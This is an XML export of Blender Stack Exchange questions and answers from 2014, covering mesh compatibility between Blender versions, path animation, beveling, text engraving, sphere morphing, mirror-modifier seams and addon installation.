  <row Id="13911" PostTypeId="2" ParentId="13894" CreationDate="2014-07-10T13:52:49.513" Score="4" Body="&lt;p&gt;The &lt;strong&gt;mesh format&lt;/strong&gt; has changed. 2.6+ uses BMesh and allows for &lt;strong&gt;N-gons&lt;/strong&gt; (i.e. polygons with more than 4 vertices). 2.49 has only quads.&#xA;If you don't save with Save Legacy option, you will get only edges, no polygons!&#xA;N-gons will be deleted in 2.49.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole &lt;strong&gt;API&lt;/strong&gt;, interface and the major version of Python have changed. No scripts are compatible between 2.5+ and 2.49. (Still, I'm suprised how many 2.x concepts in the API were considered good and made its way further to 2.5+ )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linked libraries&lt;/strong&gt; between 2.6+ files actually work in 2.49! You can append and link things from 2.6+ files :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many new &lt;strong&gt;modifiers&lt;/strong&gt; were introduced in 2.6+.&#xA;If used, you won't get any 'Unknown' warning in 2.49. No, they will be anihillated instead. The same is (sadly) true about new types of nodes... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Names&lt;/strong&gt; (of objects, materials) in 2.49 have length limits: 16 characters plus the .001 suffix. Also, no international characters are allowed. If you leave a long name in a 2.6+ file, it will end with [] symbol in 2.49. Editing such name in UI and pressing Enter will 'normalize' it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.6+ has no &lt;strong&gt;options per polygon&lt;/strong&gt; (mostly game-related, but not only: like Collision, Invisible, alpha blending mode). In 2.6+ you need to set them per material and use &quot;Blender Game&quot; as the rendering engine.&#xA;2.49 will not recognize these settings. Also, 2.6+ will break the per-face mode (a bit field). You have to reset the bit field first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;polygon.mode = 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be able to use bitwise operations again, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;polygon.mode &amp;amp;= ~(Mesh.FaceModes.INVISIBLE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need these operations to recover per-polygon flags with Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.6+ names new &lt;strong&gt;UV channels&lt;/strong&gt; &quot;UVMap&quot; by default, while 2.49 uses &quot;UVTex&quot;.&#xA;It's not an actual compatibility issue, but remember to name the two objects' channels identically before you join them (Ctrl+J). Otherwise, you will lose UV mapping on one of the objects!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compatibility is quite good IMO :) taking into consideration how much has changed since 2.49.&lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="1028" LastEditDate="2014-07-10T14:16:23.053" LastActivityDate="2014-07-10T14:16:23.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13914" PostTypeId="2" ParentId="13910" CreationDate="2014-07-10T15:10:22.840" Score="2" Body="&lt;h2&gt;Here is how you can make a rectangular path:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add a new bezier curve circle.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;select all the points and hit &lt;kbd&gt;V&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPdSa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rotate it 45 degrees.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you have a square. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres how you can make it align with corners in you room:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;change the snapping mode to vertex&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A4sjv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While holding down Ctrl, move your vertices to the top corners of the wall.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;adjust to vertical potion of the path as you wish.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To open the path un-check cyclic in the path options.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Here is how you can switch paths:&lt;/h2&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your two paths. next select your object that you want to follow the path and add a follow path constraint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go into the paths setting and set the frames to the right amount, also copy that value.&lt;/li&gt;&#xA;&lt;li&gt;Select your curve and press animate path&lt;/li&gt;&#xA;&lt;li&gt;now in your time line, move to the last frame of the path value, the value you just copied.&lt;/li&gt;&#xA;&lt;li&gt;In the follow path constraint set the influence to 1, and add a key frame.&lt;/li&gt;&#xA;&lt;li&gt;Go to the next frame, set the influence to 1, and add anther a key frame.&lt;/li&gt;&#xA;&lt;li&gt;add you next path.&lt;/li&gt;&#xA;&lt;li&gt;Repeat steps 1 through 4 on this new path.&lt;/li&gt;&#xA;&lt;li&gt;Go to the the frame that the other path was at influence one, and set a key on the influence (0) on the new constraint.&lt;/li&gt;&#xA;&lt;li&gt;move to the next frame and set the influence to one. Key it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-11T20:16:46.923" LastActivityDate="2014-07-11T20:16:46.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13915" PostTypeId="2" ParentId="13908" CreationDate="2014-07-10T15:38:12.400" Score="7" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Follow Path&lt;/em&gt; parents the selected objects to the active object (=curve), enables &lt;em&gt;Path Animation&lt;/em&gt; in the curve's &lt;em&gt;Object data&lt;/em&gt; tab in the &lt;em&gt;Properties Editor&lt;/em&gt; and adds an F-Curve for the &lt;em&gt;Evaluation Time&lt;/em&gt; property. An F-Curve Modifier is added to that F-Curve of type &lt;em&gt;Generator&lt;/em&gt; (first order expanded polynomial).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a &lt;em&gt;Follow Path&lt;/em&gt; constraint to an object and target it at a curve only relocates the object (apparently to one of the end points of the curve), you need to click &lt;em&gt;Animate Path&lt;/em&gt; to add an F-Curve with modifier (1st order exp. polynomial generator again) to the curve object in order to let the object move along the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want that offset when using a &lt;em&gt;Follow Path&lt;/em&gt; constraint, select your object and a curve,&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Path Constraint&lt;/em&gt;. It adds a &lt;em&gt;Follow Path&lt;/em&gt; constraint, creates the F-Curve with modifier for the the curve and does not translate your object.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-10T15:38:12.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13916" PostTypeId="1" AcceptedAnswerId="14031" CreationDate="2014-07-10T16:02:41.257" Score="6" ViewCount="2971" Body="&lt;p&gt;I have a fully rigged character and I would like to attach some loose parts to it, including a chain. How do I set this up, so the chain would freely 'dangle' from the character, following forces like gravity and the character's movements / momentum?&#xA;I was thinking I'd setup parts along Bezier curve, then link them by bones. The first bone would parent to a character mesh. But then how do I set this up, so when I animate the character, the chain follows the character's movement's realistically? Is there a smarter way to do it?&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2014-07-13T17:18:25.137" Title="How do I animate a character with dangling chain" Tags="&lt;animation&gt;&lt;physics&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13917" PostTypeId="2" ParentId="13899" CreationDate="2014-07-10T16:19:00.300" Score="3" Body="&lt;p&gt;Sometimes when you download add-ons from the internet the files are saved as HTML code and not as text files, so Blender has no way to interpret them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error might be caused by using the &lt;strong&gt;save&lt;/strong&gt; otpion from the browser and not using the link on the page that triggers the download of the correct file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure your Python scripts are in the right format you can open them in a &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_text_editors&quot; rel=&quot;nofollow noreferrer&quot;&gt;text editor&lt;/a&gt;, which preferably supports python &lt;a href=&quot;https://en.wikipedia.org/wiki/Syntax_highlighting&quot; rel=&quot;nofollow noreferrer&quot;&gt;syntax highlighting&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;It should look like:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XtWmu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;And not like this:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tgZpd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another common error is when the addon is contained in a .zip file instead of on a single .py file. If you unzip (or decompress) the file, you are left with a folder that contains many more files that are not easy to install manually. In such cases install directly from the .zip file instead of decompressing.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2019-07-07T18:52:17.573" LastActivityDate="2019-07-07T18:52:17.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13919" PostTypeId="1" AcceptedAnswerId="13922" CreationDate="2014-07-10T19:15:20.827" Score="1" ViewCount="1278" Body="&lt;p&gt;What is the easiest way to smooth the intersection of two planes as shown in the picture below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1xykX.png&quot; alt=&quot;two plains&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to achieve something like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBvCb.png&quot; alt=&quot;smoother intersection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a method I would like to do is to fit a parabola to three lines of two planes and use this parabola to make round corner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is probably a trivial question, but I am a beginner. &lt;/p&gt;&#xA;" OwnerUserId="5154" LastEditorUserId="2217" LastEditDate="2014-07-10T19:49:32.900" LastActivityDate="2014-07-10T20:46:21.003" Title="What is the easiest way to smooth the intersection of two planes?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13920" PostTypeId="1" CreationDate="2014-07-10T19:15:45.397" Score="5" ViewCount="1530" Body="&lt;p&gt;I have a blend file with multiple objects positioned side by side. This file is intended to be used as a library and I don't want to separate them in different files because they are simple variations of the same kind of object. I also created groups for every object (some of them are composed of other objects). This is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2jRz9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I link an object from the previous file that is positioned at origin, it's created at the cursor position on the new file and I can rotate it around their own axis like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zfxwc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I link another object from the previous file that is not at the origin on that file, their axis is not aligned with the object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Bbys.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I link it in a way that the linked object has the axis aligned with the object?&lt;/p&gt;&#xA;" OwnerUserId="2209" LastActivityDate="2017-08-08T17:41:19.820" Title="Link object from another blend file that is not positioned at origin" Tags="&lt;linked-data&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13921" PostTypeId="2" ParentId="13919" CreationDate="2014-07-10T19:28:58.450" Score="0" Body="&lt;p&gt;One way to do it is to separate the each of two planes into two at the line of intersection, and recombine them, so that the part of the horizontal plane to the left of the line of intersection and the part of the other plane above the line of intersection are part of the same plane, and the parts remaining from the original plane are part of the other. Now you can smooth the two planes, and use loop cuts to control the size of the rounded corners.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-10T19:28:58.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13922" PostTypeId="2" ParentId="13919" CreationDate="2014-07-10T20:24:22.427" Score="2" Body="&lt;p&gt;Create a plane, enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and select one of the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ir5RM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extrude&lt;/strong&gt; (&lt;kbd&gt;E&lt;/kbd&gt;) and pull up in the z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NVnkA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the edge at the intersection and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;B&lt;/kbd&gt; to activate the &lt;strong&gt;Bevel&lt;/strong&gt; tool. Moving the mouse will show the effect of the bevel.  Control the amount of cuts with the mouse wheel.&#xA;(or you can use the controls found on the toolshelf)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJFsJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZ20a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/du58N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-10T20:46:21.003" LastActivityDate="2014-07-10T20:46:21.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13924" PostTypeId="1" CreationDate="2014-07-10T20:43:35.667" Score="1" ViewCount="4500" Body="&lt;p&gt;I am trying to engrave a plaque (metal, stone) with some text.  The person who redirected me here had &lt;a href=&quot;http://blenderyodamon.blogspot.com/2012/05/gold-bars.html&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt; (with author's permission) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workflow is slow.  I prepare a picture of the text (in Gimp), use it as a bump map node in the &quot;final&quot; material (to influence the metal or stone texture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a shortcut: can I use a Blender text (possibly on a separate layer, not rendered as such) to achieve the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create the engraving - the key is being able to change the text over, without altering the geometry using a boolean operation, or without re-creating the maps (bump or displacement).&lt;/p&gt;&#xA;" OwnerUserId="5156" LastEditorDisplayName="user1853" LastEditDate="2014-12-16T04:59:42.767" LastActivityDate="2015-03-14T13:26:38.270" Title="Engraving a text string in Blender Internal Render" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13925" PostTypeId="1" AcceptedAnswerId="13933" CreationDate="2014-07-10T21:52:05.480" Score="3" ViewCount="164" Body="&lt;p&gt;I have a stripe down the center of my model and I'm not sure why. I used mirror mod to create the vehicle and have tried reseting 3D cursor and moving the mesh in and out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A1XrD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/okddM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0Byz8DRhnzr0RNzAwVzFSeFNMUlU/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the .Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5080" LastEditorUserId="599" LastEditDate="2014-07-12T00:14:35.967" LastActivityDate="2014-07-12T00:14:35.967" Title="Stripe along center of mirrored model?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13926" PostTypeId="1" CreationDate="2014-07-10T22:47:08.653" Score="1" ViewCount="92" Body="&lt;p&gt;I'm trying to model a skirt like &lt;a href=&quot;http://www.essentialschoolwear.com/media/catalog/product/cache/1/image/9df78eab33525d08d6e5fb8d27136e95/b/l/black-pleated-designer-skirt-bm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;, so I have a Bezier Circle to describe the curve of the waist, an a mesh for each pleat. As you can see &lt;a href=&quot;https://imgur.com/a/xJZkk&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, it looks fine, except the mesh is not being replicated around the curve completely. If I change the Constant Offset, I can only make the gap so small before one of the meshes disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can fill that hole in the skirt by making the mesh go all the way around?&lt;/p&gt;&#xA;" OwnerUserId="5159" LastEditorDisplayName="user1853" LastEditDate="2014-07-10T23:14:40.560" LastActivityDate="2014-07-10T23:41:01.150" Title="Issue with Array/Curve modifier" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-10-23T00:43:35.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="13927" PostTypeId="2" ParentId="13898" CreationDate="2014-07-10T22:48:39.093" Score="11" Body="&lt;p&gt;I would do this backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crate a plane, enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and subdivide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press (&lt;kbd&gt;U&lt;/kbd&gt;) and select &lt;strong&gt;Unwrap&lt;/strong&gt; to create a UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0RzCy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit edit mode &lt;kbd&gt;Tab&lt;/Kbd&gt; and in the properties panel create two shape keys by pressing the + box &lt;strong&gt;TWICE&lt;/strong&gt;.That will create a base shape key for the plane and one for the deformed plane (a sphere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1od0u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in edit mode &lt;kbd&gt;Tab&lt;/Kbd&gt;, rotate the plane 90 degrees in the Z axis &lt;kbd&gt;R&lt;/Kbd&gt;&lt;kbd&gt;Z&lt;/Kbd&gt;&lt;kbd&gt;9&lt;/Kbd&gt;&lt;kbd&gt;0&lt;/Kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then rotate 90 degrees in X &lt;kbd&gt;R&lt;/Kbd&gt;&lt;kbd&gt;X&lt;/Kbd&gt;&lt;kbd&gt;9&lt;/Kbd&gt;&lt;kbd&gt;0&lt;/Kbd&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8QDyg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the plane up on the Y axis (this distance will be the radius of the sphere)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Bn7OW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Space Bar&lt;/kbd&gt; type &lt;strong&gt;warp&lt;/strong&gt; and select it.&#xA;On the warp settings change the &lt;strong&gt;WarpAngle&lt;/strong&gt; to 180 degrees&#xA;&lt;img src=&quot;https://i.stack.imgur.com/01IvN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g3FEs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qwYD8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate the plane 90 degrees in the Y axis &lt;kbd&gt;R&lt;/Kbd&gt;&lt;kbd&gt;Y&lt;/Kbd&gt;&lt;kbd&gt;9&lt;/Kbd&gt;&lt;kbd&gt;0&lt;/Kbd&gt; and warp again. This time make &lt;strong&gt;change the WarpAngle to 360&lt;/strong&gt; degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjyuW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqXp5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you should have a &lt;strong&gt;SPHERE&lt;/strong&gt;!!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rRcwi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you switch back to &lt;strong&gt;Object Mode&lt;/strong&gt; your sphere will go back to a flat plane, don't worry you can control (and animate) the transformation by moving the &lt;strong&gt;value&lt;/strong&gt; slider on the &lt;strong&gt;Shape Keys&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yZCHz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fzo6U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jj0Lm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use UVs as the texture's coordinates in a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6QTXA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QTXA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2019-03-22T19:33:12.133" LastActivityDate="2019-03-22T19:33:12.133" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13928" PostTypeId="2" ParentId="10741" CreationDate="2014-07-10T23:00:11.603" Score="13" Body="&lt;p&gt;Think of it backwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a plane and deform it with the warp tool to create a sphere. That way the UV map will be deform with it and you can avoid issues at the poles! The detailed workflow is &lt;a href=&quot;https://blender.stackexchange.com/questions/13898/morph-targets-a-sphere-shape-turning-into-a-cylindrical-unwrapped-sphere-shape&quot;&gt;in this thread&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1D9U.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BnCpd.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vPqpj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QTXA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-07-10T23:00:11.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13930" PostTypeId="2" ParentId="13924" CreationDate="2014-07-10T23:46:47.923" Score="3" Body="&lt;p&gt;Create your lingot first. Add a text object and give it some thickness extruding it in the properties geometry tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hqAGJ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wudxe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the text where you need it and convert it to a mesh: &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt; and select Mesh from Curve/Meta/Surf/Text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KuDLF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the Lingot,  add a Boolean Modifier and select the Text as object and use difference as operation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TISpE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now move the text to another layer that is not part of your rendered layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/inR3d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have different text objects you can change them by selecting them in boolean modifier.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-14T13:26:38.270" LastActivityDate="2015-03-14T13:26:38.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13931" PostTypeId="2" ParentId="13893" CreationDate="2014-07-11T00:09:39.030" Score="2" Body="&lt;p&gt;Animate the offset value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the text slected, got to the properties panel, under the text tab(the one with a F icon),  then under the Geometry subsection, animate the offset value.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-11T00:09:39.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13932" PostTypeId="1" CreationDate="2014-07-11T03:02:00.873" Score="0" ViewCount="1549" Body="&lt;p&gt;okay so. my plan is to add a normal map and texture to a low poly mesh. the normal map should be a combination of the high poly model and a texture. they should be baked together. I know you can bake them separately but that's not what I need. I need them together. could you please help? I think I figured it out but the mesh cant connect to itself or everything is messed up. ex) it will work on a plane but not on a cube. please help and thank you for doing so. :) &lt;/p&gt;&#xA;" OwnerUserId="2325" LastActivityDate="2014-07-16T22:32:31.953" Title="how to bake high poly and texture normal map together" Tags="&lt;normals&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13933" PostTypeId="2" ParentId="13925" CreationDate="2014-07-11T03:27:40.170" Score="2" Body="&lt;p&gt;That line you see when you use the mirror modifier is there because the UV maps do not coincide with the image used as texture. If you look close the edges are right where the transparency starts or there is a different tone of yellow.&#xA;Move the edges of the UVs inside the solid color or add additional color to the image.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5HhWt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you have a set of unnecessary faces at the seam of the mirror modifier. Get rid of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0a078.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R90Oi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-11T03:33:51.043" LastActivityDate="2014-07-11T03:33:51.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13934" PostTypeId="1" CreationDate="2014-07-11T03:34:19.883" Score="1" ViewCount="1205" Body="&lt;p&gt;I am building a scene with Blender in which I need to depict a multi-colored&#xA;twinkling star, rising on a vertical path, and disappearing at clipping plane&#xA;just above it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done it in POV-Ray, which uses scene descriptive language. Is there a&#xA;utility to export from POV-Ray and import into Blender? Should I write a Python&#xA;script, or can it be done in Blender?&lt;/p&gt;&#xA;" OwnerUserId="5161" LastActivityDate="2020-05-24T08:45:35.403" Title="How do I model and animate a twinkling star?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;materials&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
